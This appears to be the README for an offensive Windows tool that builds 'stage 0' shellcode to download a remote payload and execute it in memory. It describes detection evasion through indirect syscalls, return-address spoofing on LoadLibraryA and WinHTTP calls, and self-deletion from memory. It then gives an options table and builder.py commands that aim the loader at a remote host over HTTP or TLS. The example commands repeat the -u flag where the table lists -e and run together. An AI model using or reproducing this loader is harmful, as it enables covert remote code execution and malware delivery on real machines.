Stage 0 Shellcode to Download a Remote Payload and Execute it in Memory
The Nt API calls NtAllocateVirtualMemory and NtProtectVirtualMemory are made using indirect syscalls.
LoadLibraryA and WinHTTP calls are performed with return address spoofing.
When the shellcode is executed in a spoofed thread, the stage 0 self-deletes from memory.
| Option | Description | Required | Default Value |
|---|---|---|---|
| -e | Http endpoint | Yes | |
| -u | Http uri | Yes | |
| -p | Http port | Yes | |
| -a | User agent | No | Mozilla/5.0 (Windows NT 10.0; Win64; x64) |
| -s | Use TLS | No | Empty |
| -v | View shellcode at C format | No | Empty |
Example :
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 80python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 443 -spython3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 8080 -v